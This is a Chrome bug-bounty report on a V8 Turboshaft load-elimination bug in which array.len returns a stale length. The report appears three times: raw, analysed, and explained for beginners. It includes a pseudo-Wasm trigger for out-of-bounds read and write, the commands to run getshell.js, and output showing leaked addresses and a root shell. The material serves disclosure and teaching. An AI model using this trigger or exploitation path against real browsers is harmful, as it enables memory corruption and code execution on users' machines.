Out of bounds read and write in V8 (CVE-2026-7899)
A stale replacement in Turboshaft's load elimination for WebAssembly arrays causes array.len to return an incorrect length, leading to out-of-bounds read/write. An attacker could exploit this to corrupt memory and achieve code execution.
Originally disclosed on Chrome VRP
- Fix shipped in 13 days
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
Turboshaft: stale PhiOp replacement for Wasm arrays causes array.len bounds bypass and out-of-bounds array read/write
src/compiler/turboshaft/wasm-load-elimination-reducer.h keeps a stale replacement for PhiOp across loop revisits:
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
// ...
if (inputs.size() > 0) {
bool same_inputs = true;
OpIndex first = memory_.ResolveBase(inputs.first());
for (const OpIndex& input : inputs.SubVectorFrom(1)) {
if (memory_.ResolveBase(input) != first) {
same_inputs = false;
break;
}
}
if (same_inputs) {
replacements_[op_idx] = first;
}
}
}
When all phi inputs currently resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The bug is that it never clears replacements_[op_idx] when a later loop revisit makes same_inputs false. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. For example, both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:
replacements_[op_idx] = OpIndex::Invalid();
That asymmetry makes phi replacements sticky even after the merged loop state has changed.
We will explain the exploitability in details in next section.
VERSION
V8 Version: 3d73043a08a4fc2234c973646656c9e35245b87f (Wed Apr 22 12:22:48 2026 +0800)
Exploit
We can craft:
- A large array
bigand a small arraysmall. - A mutable struct field initially containing
big. - A loop containing an
ifwhose merge result is eitherbigorstruct.get holder.field0. - A later
struct.set holder.field0 = smallon the loop backedge. - An
array.lenorarray.get/array.seton the merged array value in the next iteration.
In pseudo-Wasm:
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))
(func (param $n i32) (result i32)
(local $h (ref $holder))
(local $big (ref $arr))
(local $small (ref $arr))
(local $i i32)
(local $sum i32)
i32.const 8
array.new_default $arr
local.set $big
i32.const 1
array.new_default $arr
local.set $small
local.get $big
struct.new $holder
local.set $h
local.get $n
local.set $i
loop
local.get $i
local.get $n
i32.eq
if (result (ref $arr))
local.get $big
else
local.get $h
struct.get $holder 0
end
array.len
local.get $sum
i32.add
local.set $sum
local.get $h
local.get $small
struct.set $holder 0
local.get $i
i32.const 1
i32.sub
local.tee $i
br_if 0
end
local.get $sum)
WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array's length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...)
- Before the loop,
holder.field0is known to bebig, so the first-passStructGet(holder, 0)is eliminated tobig. - The
ifmerge phi therefore has inputs(big, big)on the first pass, andProcessPhirecordsreplacements_[phi] = big. - The backedge
StructSet(holder, 0, small)changes the tracked field frombigtosmall, so the loop is revisited. - On the revisit,
StructGet(holder, 0)is no longer eliminated from the merged snapshot andProcessStructGetclears its own replacement. - The phi is now merging
(big, StructGet(holder, 0)), so it is no longer equal-input.ProcessPhileaves the oldreplacements_[phi] = bigintact. ProcessArrayLengthstill resolves the phi tobig, soarray.lenkeeps returning8even on iterations where the runtime array issmalland its true length is1.
With that we can have the initial out-of-bounds access primitive, then we can corrupt the length of an array or simply write to another field to bootstrap fakeobj primitive.
getshell.js is attached.
Note that we inlined the wasm builder for easy reproduction with clusterfuzz
Please scroll down to check the real exploit part
Compile with args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
Please run with:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
expected output:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3#
Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.
Please attach files directly, not in zip or other archive formats, and if you've created a demonstration site please also attach the files needed to reproduce the demonstration locally.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: Arbitrary memory access
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Project WhatForLunch (@pjwhatforlunch)
Context
This is a Chrome VRP report against V8, specifically the Turboshaft compiler's WebAssembly load elimination pass. The component is src/compiler/turboshaft/wasm-load-elimination-reducer.h, which performs redundant-load elimination over Wasm operations. One of the things that pass does is track, for a PhiOp (the merge point of values coming out of an if inside a loop), whether all of the phi's inputs currently resolve to the same base value. If they do, the phi can be replaced by that base, and later loads through the phi can be answered from the elimination table instead of being re-emitted.
The report was filed by Project WhatForLunch (@pjwhatforlunch) and rated high severity, with a bounty of 55,000 USD. The weakness class is out-of-bounds read and write.
Setup
The V8 revision used is:
[redacted] (Wed Apr 22 12:22:48 2026 +0800)
The proof of concept is a d8 script, getshell.js, built with this args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
and run with:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
Liftoff is disabled so the Wasm goes through Turboshaft, and loop unrolling and loop peeling are disabled. The Wasm builder is inlined in the script so the reproduction works under ClusterFuzz.
Finding it
The reducer keeps a map of replacements, replacements_, keyed by operation index. ProcessPhi populates it when every input of the phi resolves to the same base:
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
// ...
if (inputs.size() > 0) {
bool same_inputs = true;
OpIndex first = memory_.ResolveBase(inputs.first());
for (const OpIndex& input : inputs.SubVectorFrom(1)) {
if (memory_.ResolveBase(input) != first) {
same_inputs = false;
break;
}
}
if (same_inputs) {
replacements_[op_idx] = first;
}
}
}
When all inputs resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The problem is the missing else branch: when a later loop revisit makes same_inputs false, the old entry is never cleared. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. Both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:
replacements_[op_idx] = OpIndex::Invalid();
That asymmetry makes phi replacements sticky even after the merged loop state has changed.
Exploitation
The exploit needs five ingredients:
- A large array
bigand a small arraysmall. - A mutable struct field initially containing
big. - A loop containing an
ifwhose merge result is eitherbigorstruct.get holder.field0. - A later
struct.set holder.field0 = smallon the loop backedge. - An
array.lenorarray.get/array.seton the merged array value in the next iteration.
In pseudo-Wasm:
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))
(func (param $n i32) (result i32)
(local $h (ref $holder))
(local $big (ref $arr))
(local $small (ref $arr))
(local $i i32)
(local $sum i32)
i32.const 8
array.new_default $arr
local.set $big
i32.const 1
array.new_default $arr
local.set $small
local.get $big
struct.new $holder
local.set $h
local.get $n
local.set $i
loop
local.get $i
local.get $n
i32.eq
if (result (ref $arr))
local.get $big
else
local.get $h
struct.get $holder 0
end
array.len
local.get $sum
i32.add
local.set $sum
local.get $h
local.get $small
struct.set $holder 0
local.get $i
i32.const 1
i32.sub
local.tee $i
br_if 0
end
local.get $sum)
WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array's length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...).
Step 1: first pass eliminates the struct get
Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big.
Step 2: the phi looks constant
The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big.
Step 3: the backedge changes the tracked field
The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited.
Step 4: the struct get is no longer eliminated
On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement.
Step 5: the phi is no longer equal-input, but the stale entry survives
The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact.
Step 6: array.len returns the wrong length
ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1.
With that we have the initial out-of-bounds access primitive. From there the report says the attacker can corrupt the length of an array or simply write to another field to bootstrap a fakeobj primitive.
Running the script produces:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3#
The output shows lines about a victim array, several leaked addresses, a dispatch handle and its table offset, and an RWX address, followed by a shell. The crash type recorded for the report is arbitrary memory access.
Root cause
The reducer treats the phi replacement as monotonic: once a phi has been proven to have equal inputs, the entry is written and never invalidated. Loop analysis is not monotonic, because the merged state on a revisit can differ from the first pass. ProcessStructGet and ProcessArrayLength handle this by writing OpIndex::Invalid() when they cannot eliminate, but ProcessPhi has no such path, so a phi that was equal-input on the first pass and unequal on a later pass keeps resolving to the first input. The load elimination table then answers array.len from the length recorded for big even though the runtime value is small.
Impact
The crafted module, compiled through Turboshaft with the loop shape above, yields an out-of-bounds read and write on Wasm arrays. The report describes using it to corrupt an array length or another field to bootstrap a fakeobj primitive, and the demonstration script goes from that primitive to a shell. The conditions are the compiler path (Turboshaft, not Liftoff) and the loop structure described; the report does not discuss which Chrome configurations or mitigations would prevent the later stages.
Fix
The report does not describe the fix that was applied. Based on the analysis, the change needed is for ProcessPhi to clear replacements_[op_idx] when same_inputs is false, matching the OpIndex::Invalid() behaviour already present in ProcessStructGet and ProcessArrayLength.
Variants to test
- Other reducers with a
replacements_map: look for handlers that write a replacement on the eliminated path but have no invalidation on the non-eliminated path, especially for operations whose inputs are merged at loop headers. A positive result is a value that keeps resolving to a stale base after a loop revisit. - Other phi-shaped merges: replace the
struct.getin theifwith a different load-like operation (for example another array or field read) and check whetherarray.len,array.getorarray.setstill uses the first-pass length. - Different loop shapes: nested loops, multiple backedges, or a
struct.setthat changes the field to a value of a different type. A positive result is a length or bounds check that disagrees with the runtime object. - Compiler flag combinations: run with and without
--no-wasm-loop-unrollingand--no-wasm-loop-peelingto see whether the stale entry survives other loop transformations, which would widen the set of reachable configurations.
What happened, in plain words
A security researcher found a mistake in one of the programs that turns WebAssembly code into machine code inside Google Chrome. The mistake makes Chrome believe an array is bigger than it really is. Because of that, code running in the engine can read and write memory outside the array, and the demonstration script goes from there to a shell.
The researcher reported it through Chrome's bug bounty programme, which pays people for finding security problems. The report was rated high severity and paid 55,000 USD. The weakness class is "out of bounds read and write".
Below I walk through the report step by step, explaining every term as it comes up.
Some background you need first
Before the details make sense, here are the pieces involved.
- Chrome is the web browser. It runs web pages, which are programs written in HTML, CSS and JavaScript.
- V8 is the part of Chrome that runs JavaScript. It is also the part that runs WebAssembly.
- WebAssembly (often shortened to Wasm) is a second language that browsers can run. It is lower level than JavaScript, closer to what the processor understands, and it is used for things like games, video editors and other heavy programs in the browser. A web page can ship a Wasm program and the browser will run it.
- A compiler is a program that translates code from one language into another. Chrome does not run Wasm directly; it translates it into machine instructions first.
- Turboshaft is the name of one of V8's compilers. It is the optimising compiler: it tries to make the translated code faster.
- Liftoff is V8's other Wasm compiler. It is the fast, simple one that produces code quickly without much optimisation. Chrome normally uses Liftoff first and Turboshaft later for hot code. The bug lives in Turboshaft, so the proof of concept forces the code through Turboshaft by disabling Liftoff.
- An optimising pass is one step inside a compiler that looks at the program and rewrites it to be faster, without changing what it does. The pass involved here is called load elimination: if the program reads the same value twice and nothing could have changed it in between, the compiler can reuse the first read instead of doing the second one. That saves work.
- An array is an ordered list of values stored one after another in memory. Each array has a length: how many items it holds. Reading or writing an item at a position is called an index access. If the index is smaller than the length, the access is inside the array. If it is not, the access is out of bounds, and that is a security problem because the memory just past the array may belong to something else.
- A struct is a bundle of named fields, each holding a value. In Wasm, a struct can have fields that can be changed after creation (mutable fields).
- A loop is code that repeats. Each repetition is called an iteration. The point where one iteration ends and the next begins is called the backedge.
- A phi (short for the Greek letter, and short for "merge point") is a compiler concept. When an
ifproduces a value and the two branches produce different values, the compiler needs one place to represent "the value that came out of the if, whichever branch ran". That place is the phi. Inside a loop, the phi at the top of the loop merges the value from before the loop with the value from the backedge. - A reducer is a component inside the optimising compiler that walks over the program and applies one specific optimisation. The file involved is
src/compiler/turboshaft/wasm-load-elimination-reducer.h, which is the reducer for load elimination over Wasm operations. - A bug bounty is a programme where a company pays researchers for reporting security problems privately, so they can be fixed before attackers use them.
- CVE stands for Common Vulnerabilities and Exposures. It is a public identifier given to a security flaw so people can refer to it unambiguously. This one is CVE-2026-7899.
The report itself
The report was filed by a researcher credited as Project WhatForLunch (@pjwhatforlunch). It was rated high severity, with a bounty of 55,000 USD, and the weakness class is out-of-bounds read and write. The affected component is V8.
The setup
The researcher tested against a specific version of V8, identified by a long hexadecimal string called a commit hash. A commit hash names one exact snapshot of the source code, so anyone can check out the same code and reproduce the result.
[redacted] (Wed Apr 22 12:22:48 2026 +0800)
That line is the commit hash followed by the date and time the commit was made. Nothing else.
The proof of concept is a script called getshell.js, which is run by d8. d8 is V8's own command line shell: a small program that runs JavaScript (and Wasm) without a browser around it. Security researchers use it because it is much easier to debug than Chrome itself.
The script was built with a configuration file called args.gn. GN is the build system V8 uses; args.gn is the file where you set build options.
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
Line by line:
dcheck_always_on = falseturns off debug assertions, which are extra checks that slow the build down. They are off so the build behaves like a release build.is_debug = falsebuilds in release mode, again matching what real users run.target_cpu = "x64"builds for 64-bit Intel/AMD processors.is_component_build = falseproduces one self-contained binary instead of many shared libraries.v8_enable_backtrace = truekeeps the ability to print a call stack when something goes wrong, which helps debugging.v8_enable_disassembler = trueincludes a tool that can show the generated machine instructions.v8_enable_object_print = trueincludes a tool that can print the internal layout of JavaScript objects.v8_enable_sandbox = falseturns off the V8 sandbox, an extra layer of isolation. It is off in this build; the report does not discuss what would happen with it on.
The script is then run like this:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
Line by line:
./out.gn/x64.release/d8is the path to the d8 binary that was just built.--allow-natives-syntaxlets the script use special V8-internal functions that normal web pages cannot call.--no-liftoffdisables Liftoff, so the Wasm goes through Turboshaft.--no-wasm-loop-unrollingdisables loop unrolling, an optimisation that copies the body of a loop several times to reduce overhead.--no-wasm-loop-peelingdisables loop peeling, which pulls the first iteration out of the loop.getshell.jsis the script to run.
The report notes that the Wasm builder is inlined in the script so the reproduction works under ClusterFuzz. ClusterFuzz is Google's automated system for running fuzzers (programs that generate random inputs to find crashes) and for reproducing reported crashes. Inlining means putting the code that builds the Wasm module directly in the script rather than loading it from a separate file, so the whole thing is one file that ClusterFuzz can run.
Finding the bug
The reducer keeps a map called replacements_. A map here means a lookup table: for each operation in the program, identified by an index (op_idx), it stores a replacement value if the reducer has proven that the operation can be replaced by something simpler.
The function ProcessPhi fills in that map when every input of a phi resolves to the same base value. Here is the code from the report:
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
// ...
if (inputs.size() > 0) {
bool same_inputs = true;
OpIndex first = memory_.ResolveBase(inputs.first());
for (const OpIndex& input : inputs.SubVectorFrom(1)) {
if (memory_.ResolveBase(input) != first) {
same_inputs = false;
break;
}
}
if (same_inputs) {
replacements_[op_idx] = first;
}
}
}
Line by line:
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi)declares the function. It takes the index of the phi operation and the phi itself.if (inputs.size() > 0)checks that the phi actually has inputs. A phi with no inputs is not interesting.bool same_inputs = true;starts by assuming all inputs are the same.OpIndex first = memory_.ResolveBase(inputs.first());takes the first input and asks the memory model to resolve it to its base value. Resolving to a base means following any earlier replacements until you reach the original value. If the first input was itself replaced by something,ResolveBasegives you that something.for (const OpIndex& input : inputs.SubVectorFrom(1))loops over all the other inputs, skipping the first.if (memory_.ResolveBase(input) != first)checks whether this input resolves to something different from the first.same_inputs = false; break;if so, records that they are not all the same and stops checking.if (same_inputs) { replacements_[op_idx] = first; }if all inputs resolved to the same base, records that this phi can be replaced by that base.
The problem is what happens when same_inputs is false. There is no else branch. The old entry in replacements_ is left in place. If the phi was previously recorded as replaceable and a later pass over the loop makes it not replaceable, the stale entry survives.
Other handlers in the same reducer do clear their entry when they cannot eliminate. Both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:
replacements_[op_idx] = OpIndex::Invalid();
Line by line:
replacements_[op_idx]is the entry for this operation in the map.OpIndex::Invalid()is a special marker meaning "no replacement". Writing it clears any previous replacement.
So those two handlers correctly forget their old replacement when they cannot eliminate. ProcessPhi does not. That asymmetry is the bug: phi replacements are sticky even after the merged loop state has changed.
Exploitation
The exploit needs five ingredients:
- A large array
bigand a small arraysmall. - A mutable struct field initially containing
big. - A loop containing an
ifwhose merge result is eitherbigorstruct.get holder.field0. - A later
struct.set holder.field0 = smallon the loop backedge. - An
array.lenorarray.get/array.seton the merged array value in the next iteration.
In pseudo-Wasm, the code looks like this. Pseudo-Wasm is the report's label for the illustrative snippet.
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))
(func (param $n i32) (result i32)
(local $h (ref $holder))
(local $big (ref $arr))
(local $small (ref $arr))
(local $i i32)
(local $sum i32)
i32.const 8
array.new_default $arr
local.set $big
i32.const 1
array.new_default $arr
local.set $small
local.get $big
struct.new $holder
local.set $h
local.get $n
local.set $i
loop
local.get $i
local.get $n
i32.eq
if (result (ref $arr))
local.get $big
else
local.get $h
struct.get $holder 0
end
array.len
local.get $sum
i32.add
local.set $sum
local.get $h
local.get $small
struct.set $holder 0
local.get $i
i32.const 1
i32.sub
local.tee $i
br_if 0
end
local.get $sum)
Line by line:
(type $arr (array (mut i32)))declares a type called$arr: an array of 32-bit integers whose items can be changed (mut).(type $holder (struct (field (mut (ref $arr)))))declares a type called$holder: a struct with one field, which can be changed, and which holds a reference to an$arr.(func (param $n i32) (result i32)starts a function that takes one 32-bit integer$nand returns a 32-bit integer.(local $h (ref $holder))declares a local variable$hof type$holder.(local $big (ref $arr))declares a local variable$bigof type$arr.(local $small (ref $arr))declares a local variable$smallof type$arr.(local $i i32)declares a 32-bit integer$i, used as the loop counter.(local $sum i32)declares a 32-bit integer$sum, used to accumulate results.i32.const 8pushes the number 8 onto the stack.array.new_default $arrcreates a new array of type$arrwith that many items, all set to the default value (zero).local.set $bigstores the new array in$big. So$bigis an array of length 8.i32.const 1pushes 1.array.new_default $arrcreates a new array of length 1.local.set $smallstores it in$small.local.get $bigpushes$big.struct.new $holdercreates a new$holderwhose field holds$big.local.set $hstores it in$h.local.get $npushes the parameter$n.local.set $istores it in$i, so the loop counter starts at$n.loopstarts the loop.local.get $ipushes the counter.local.get $npushes the parameter.i32.eqcompares them, producing 1 if equal and 0 otherwise.if (result (ref $arr))starts an if that produces a reference to an$arr.local.get $bigin the true branch, pushes$big.elsestarts the false branch.local.get $hpushes the holder.struct.get $holder 0reads field 0 of the holder, which is the array reference.endcloses the if. The result is the phi: either$bigor whatever is in the holder's field.array.lenreads the length of that array.local.get $sumpushes the running sum.i32.addadds the length to the sum.local.set $sumstores the result back in$sum.local.get $hpushes the holder.local.get $smallpushes$small.struct.set $holder 0writes$smallinto field 0 of the holder. This is the backedge change.local.get $ipushes the counter.i32.const 1pushes 1.i32.subsubtracts 1 from the counter.local.tee $istores the result in$iand leaves it on the stack.br_if 0branches back to the start of the loop if the value is non-zero.endcloses the loop.local.get $sum)pushes the sum as the return value.
Now the report explains how the reducer misbehaves on this code. WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array's length. In other words, when the compiler sees array.new_default create an array of length 8, it records "this array has length 8" in the table. Later, WasmLoadEliminationAnalyzer::ProcessArrayLength reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...). In plain words: when the compiler sees array.len on some array, it resolves the array to its base and looks up the recorded length, instead of emitting a real length read.
Step 1: first pass eliminates the struct get
Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big. The compiler knows the field was just set to $big and nothing has changed it yet, so reading it is the same as using $big directly.
Step 2: the phi looks constant
The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big. Both branches produce the same value, so the phi is replaced by big.
Step 3: the backedge changes the tracked field
The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited. The compiler analyses the loop more than once, and on the second pass the state at the top of the loop is different.
Step 4: the struct get is no longer eliminated
On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement. The merged snapshot is the state the compiler has built up by combining what it knows from before the loop and from the backedge. Since the field could now be small, the read cannot be replaced by a constant, so the handler writes OpIndex::Invalid() for its own entry.
Step 5: the phi is no longer equal-input, but the stale entry survives
The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact. This is the bug in action: the phi is no longer provably big, but the map still says it is.
Step 6: array.len returns the wrong length
ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1. At runtime the array is small, whose true length is 1, but array.len keeps returning 8.
With that we have the initial out-of-bounds access primitive. A primitive in exploit writing means a small, reliable capability that can be built on. Here it is the ability to read and write past the end of an array. From there the report says the attacker can corrupt the length of an array or simply write to another field to bootstrap a fakeobj primitive. fakeobj is an exploit primitive the report says can be bootstrapped from the out-of-bounds access.
Running the script produces this output:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3#
Line by line:
- The first line is the command that was run, repeated for clarity.
[*] EOF wasm builderis a status line printed by the script.[*] Exploit by Project WhatForLunchis a banner printed by the script.[+] victim.length corruption primed;victim[0]=0x12345678is the first line of exploit output.[+] cage base: 0x00002c1300000000is a leaked address printed by the exploit.[+] partition alloc: 0x00000ebc00000000is a leaked address printed by the exploit.[+] code ptr table: 0x00007f75ce904000is a leaked address printed by the exploit.[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0is a leaked handle and offset printed by the exploit.[+] rwx addr: 0x0000561be0013700is an address printed by the exploit.[+] 🥺 get shellis printed before the shell prompt appears.sh-5.3# echo pwnedis a command run in the shell.pwnedis the shell's output.sh-5.3#is the shell prompt.
The crash type recorded for the report is arbitrary memory access.
Root cause
The reducer treats the phi replacement as monotonic: once a phi has been proven to have equal inputs, the entry is written and never invalidated. Monotonic here means "only ever moves in one direction": the reducer assumes that once something is true, it stays true. Loop analysis is not monotonic, because the merged state on a revisit can differ from the first pass. ProcessStructGet and ProcessArrayLength handle this by writing OpIndex::Invalid() when they cannot eliminate, but ProcessPhi has no such path, so a phi that was equal-input on the first pass and unequal on a later pass keeps resolving to the first input. The load elimination table then answers array.len from the length recorded for big even though the runtime value is small.
Impact
An attacker who can get Wasm compiled through Turboshaft with the loop shape above obtains an out-of-bounds read and write on Wasm arrays. The report describes using it to corrupt an array length or another field to bootstrap a fakeobj primitive, and the demonstration script goes from that primitive to a shell. The conditions are the compiler path (Turboshaft, not Liftoff) and the loop structure described; the report does not discuss which Chrome configurations or mitigations would prevent the later stages.
Fix
The report does not describe the fix that was applied. Based on the analysis, the change needed is for ProcessPhi to clear replacements_[op_idx] when same_inputs is false, matching the OpIndex::Invalid() behaviour already present in ProcessStructGet and ProcessArrayLength.
Variants to test
- Other reducers with a
replacements_map: look for handlers that write a replacement on the eliminated path but have no invalidation on the non-eliminated path, especially for operations whose inputs are merged at loop headers. A positive result is a value that keeps resolving to a stale base after a loop revisit. - Other phi-shaped merges: replace the
struct.getin theifwith a different load-like operation (for example another array or field read) and check whetherarray.len,array.getorarray.setstill uses the first-pass length. - Different loop shapes: nested loops, multiple backedges, or a
struct.setthat changes the field to a value of a different type. A positive result is a length or bounds check that disagrees with the runtime object. - Compiler flag combinations: run with and without
--no-wasm-loop-unrollingand--no-wasm-loop-peelingto see whether the stale entry survives other loop transformations, which would widen the set of reachable configurations.
Glossary
- API: Application Programming Interface, a defined set of functions one program offers to another.
- Array: an ordered list of values stored one after another in memory, with a length.
- Backedge: the point in a loop where one iteration ends and the next begins.
- Bug bounty: a programme that pays researchers for reporting security problems privately.
- Chrome: Google's web browser.
- ClusterFuzz: Google's automated system for running fuzzers and reproducing reported crashes.
- Code pointer table: a table holding pointers to executable code, used to make it harder to redirect execution.
- Commit hash: a long hexadecimal string that names one exact snapshot of source code.
- Compiler: a program that translates code from one language into another.
- CVE: Common Vulnerabilities and Exposures, a public identifier for a security flaw.
- d8: V8's command line shell for running JavaScript and Wasm without a browser.
- fakeobj: an exploit primitive that makes the engine treat an arbitrary value as a JavaScript object reference.
- GN: the build system V8 uses;
args.gnis where build options are set. - Handle: an indirect reference, an index that the engine looks up, instead of a raw pointer.
- Index: a position in an array. An access at an index smaller than the length is inside the array; otherwise it is out of bounds.
- Iteration: one repetition of a loop.
- Length: how many items an array holds.
- Liftoff: V8's fast, simple Wasm compiler.
- Load elimination: a compiler optimisation that reuses an earlier read instead of repeating it.
- Loop: code that repeats.
- Map: a lookup table, here mapping operation indices to replacement values.
- Monotonic: only ever moving in one direction; here, assuming that once something is true it stays true.
- Out of bounds: an access outside the valid range of an array or buffer.
- Partition allocator: the memory allocator V8 uses for some internal structures.
- Phi: a compiler concept representing the value that comes out of an
if, whichever branch ran. - Primitive: a small, reliable capability in exploit writing that can be built on.
- Pseudo-Wasm: Wasm text written for reading, not necessarily for running as-is.
- Reducer: a component inside the optimising compiler that applies one specific optimisation.
- Resolve to a base: follow earlier replacements until reaching the original value.
- RWX: memory that is readable, writable and executable.
- Sandbox cage: a large reserved region of memory inside which V8 keeps its objects.
- Struct: a bundle of named fields, each holding a value.
- Turboshaft: V8's optimising compiler.
- V8: the part of Chrome that runs JavaScript and WebAssembly.
- Wasm: WebAssembly, a low-level language browsers can run.
- WAT: WebAssembly text format.
- WebAssembly: see Wasm.